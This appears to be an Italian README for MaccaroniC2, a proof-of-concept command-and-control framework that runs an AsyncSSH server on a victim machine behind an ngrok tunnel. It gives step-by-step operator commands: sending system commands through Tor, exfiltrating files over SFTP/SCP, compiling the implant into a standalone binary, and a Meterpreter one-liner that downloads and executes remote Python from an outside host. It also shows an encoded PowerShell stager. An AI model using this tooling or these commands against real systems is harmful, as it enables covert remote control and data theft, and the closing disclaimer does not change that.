
Un framework Command & Control proof-of-concept che utilizza la potente libreria Python AsyncSSH, la quale fornisce un'implementazione asincrona client e server del protocollo SSHv2, e usa il wrapper PyNgrok per l'integrazione con ngrok.

MaccaroniC2 è un proof-of-concept framework di Command and Control che utilizza la potente libreria Python AsyncSSH che fornisce un'implementazione client e server asincrona del protocollo SSHv2 e utilizza il wrapper PyNgrok per l'integrazione con ngrok. Questo strumento è ispirato a uno scenario specifico in cui la vittima esegue il server AsyncSSH e stabilisce un tunnel verso l'esterno, pronto a ricevere comandi dall'attaccante.
L'attaccante sfrutta l'API ufficiale di Ngrok per ottenere l'hostname e la porta del tunnel per stabilire una connessione. Questo approccio sfrutta le capacità complete fornite da AsyncSSH, incluso il supporto integrato per SFTP e SCP, facilitando l'esfiltrazione sicura ed efficiente di dati e altro.
Inoltre, l'attaccante può inviare ed eseguire comandi di sistema utilizzando un proxy SOCKS, sfruttando i vantaggi offerti, ad esempio, usando TOR per migliorare l'anonimato.
Esegui python3 gen_rsa.py per generare una coppia di chiavi SSH. La nuova id_rsa generata viene utilizzata dall'attaccante per connettersi al server in esecuzione sulla macchina della vittima.
Modifica il file asyncssh_server.py e inserisci il contenuto della nuova id_rsa.pub generata all'interno della variabile pub_key. asyncssh_server.py fornisce un'implementazione del protocollo SSHv2 con funzionalità SFTP e SCP. Questo è lo script eseguito dalla vittima.
Crea un account gratuito sul sito di Ngrok e prendi nota del token AUTH.
Aggiungi il token AUTH alla variabile token in asyncssh_server.py, questo deve essere hardcodato all'interno della funzione ngrok_tunnel().
Crea una chiave API gratuita sul sito di Ngrok. Prendi nota della stringa generata.
Con async_commander.py puoi inviare qualsiasi comando al server. Recupera automaticamente il dominio e la porta del tunnel Ngrok attivato dalla vittima utilizzando l'API ufficiale di Ngrok.
Nota anche che id_rsa deve trovarsi nella stessa cartella di async_commander.py
Esegui il server sulla macchina della vittima:
python3 asyncssh_server.py
Dalla macchina dell'attaccante invia un comando usando proxy socks:
python3 asyncssh_commander.py "ls -la" --proxy socks5://127.0.0.1:9050
Invia un comando senza usare un proxy:
python3 asyncssh_commander.py "whoami"
Genera un altro agente C2 (Powershell-Empire, Meterpreter, ecc.):
python3 asyncssh_commander.py "powershell.exe -e ABJe...dhYte"
Modulo web_delivery di Meterpreter
python3 asyncssh_commander.py "python3 -c \"import sys; import ssl; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]], fromlist=('urlopen',)); r=u.urlopen('http://100.100.100.100:8080/YnrVekAsVF', context=ssl._create_unverified_context()); exec(r.read());\""
Ottieni la lista dei tunnel attivi:
python3 get_endpoints.py
Genera nuove coppie di chiavi RSA:
python3 gen_rsa.py
Utilizzando SFTP e SCP - non è necessario un nome utente valido, solo la id_rsa corretta
proxychains sftp -P NGROK_PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -o ProxyCommand="nc -x localhost:9050 %h NGROK_PORT" source_file ddddd@NGROK_HOST:destination_path
sftp -P PORT -i id_rsa ddddd@NGROK_HOST
scp -i id_rsa -P PORT source_file ddddd@NGROK_HOST:destination_path
python -m pip install nuitka
python -m nuitka --standalone --onefile asyncssh_server.py
https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py
Per ulteriori informazioni consulta l'articolo correlato: https://blog.hacktivesecurity.com/index.php/2023/06/05/inside-the-mind-of-a-cyber-attacker-from-malware-creation-to-data-exfiltration-part-1/
DICHIARAZIONE DI NON RESPONSABILITÀ: Questo strumento è destinato esclusivamente a scopi di test e didattici. Dovrebbe essere utilizzato solo su sistemi con la dovuta autorizzazione. Qualsiasi uso non autorizzato o illegale di questo strumento è severamente vietato. Il creatore di questo strumento non si assume alcuna responsabilità per qualsiasi uso improprio o danno causato dal suo utilizzo. Assicurati di rispettare le leggi e le normative applicabili durante l'utilizzo di questo strumento. Inoltre, è importante notare che l'uso di Ngrok in combinazione con questo strumento potrebbe comportare la violazione dei termini di servizio o delle politiche di determinate piattaforme. Si consiglia di rivedere e rispettare i termini di utilizzo di qualsiasi piattaforma o servizio per evitare potenziali sospensioni dell'account o interruzioni.
Inserisci la stringa della chiave API nella variabile api_key all'interno del file async_commander.py. Questo ci permette di recuperare automaticamente il dominio e la porta Ngrok del tunnel attivo durante l'automazione.
Esegui lo stesso passaggio per il file get_endpoints.py. Questo script recupera varie informazioni utili sui tunnel attivi.